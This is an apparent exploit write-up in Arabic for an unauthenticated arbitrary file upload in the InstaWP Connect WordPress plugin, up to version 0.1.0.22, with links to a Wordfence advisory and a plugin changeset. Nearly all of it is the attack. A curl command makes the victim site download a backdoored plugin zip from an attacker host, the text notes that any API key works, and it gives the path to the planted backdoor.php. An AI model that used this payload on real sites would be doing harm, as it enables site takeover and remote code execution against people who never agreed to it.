InstaWP Connect – استنساخ وترحيل ووردبريس بنقرة واحدة <= 0.1.0.22 - رفع ملف تعسفي بدون مصادقة

إثبات الاختراق (باستخدام CURL):

curl --data "api_key=123&override_plugin_zip=http://attacker-domain/malicious-plugin.zip" "http://victim-domain/?rest_route=/instawp-connect/v1/config"

api_key -> يمكنك استخدام أي مفتاح API صالح أو غير صالح.
override_plugin_zip -> المسار إلى ملف zip الذي يحتوي على إضافة ووردبريس خبيثة مع باب خلفي.

بمجرد الاستيراد، يمكنك الوصول إلى الباب الخلفي عبر http://victim-domain/wp-content/plugins/malicious-plugin/backdoor.php (بافتراض أن اسم المجلد هو malicious-plugin وأن backdoor.php موجود داخل هذا المجلد).

المراجع:

• https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/instawp-connect/instawp-connect-1-click-wp-staging-migration-01022-unauthenticated-arbitrary-file-upload
• https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3061039%40instawp-connect&new=3061039%40instawp-connect&sfp_email=&sfph_mail=